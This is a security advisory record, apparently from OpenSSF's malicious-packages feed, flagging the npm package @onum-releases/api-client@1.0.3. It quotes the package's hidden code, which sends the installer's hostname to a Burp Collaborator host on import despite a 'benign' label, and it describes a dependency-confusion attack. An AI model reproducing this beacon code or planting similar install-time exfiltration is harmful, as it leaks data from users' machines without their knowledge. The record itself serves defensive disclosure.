OpenSSF/OSV advisory MAL-2026-6122 confirms this npm version as malicious. On require(), index.js reads os.hostname(), embeds it as a subdomain label under a Burp Collaborator (oastify.com) host, and issues an https.get to that host (index.js lines 4-7: 'var host = \'api-client.\' + h + \'.200majoeu01dk02xnjdajro1isojc90y.oastify.com\'; https.get({ host: host, path: \'/api-client\', timeout: 4000 },...)')...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @onum-releases/api-client (npm)
Details
On require(), index.js reads os.hostname(), embeds it as a subdomain label under a Burp Collaborator (oastify.com) host, and issues an https.get to that host (index.js lines 4-7: 'var host = \'api-client.\' + h + \'.200majoeu01dk02xnjdajro1isojc90y.oastify.com\'; https.get({ host: host, path: \'/api-client\', timeout: 4000 },...)'). Both the DNS resolution and the TLS SNI/Host header transmit the installer's hostname out-of-band to an attacker-controlled collaborator subdomain. Although package.json describes the package as a 'Security PoC placeholder - benign, no runtime payload', the shipped code does perform the exfiltration on every consumer that imports the module. The package appears to be a dependency-confusion proof-of-concept against the @onum-releases scope; regardless of intent, installers that pull it leak host identifiers to a third-party OOB server.
Decision reason
OpenSSF Malicious Packages via OSV confirms @onum-releases/api-client@1.0.3 as malicious (MAL-2026-6122): Malicious code in @onum-releases/api-client (npm)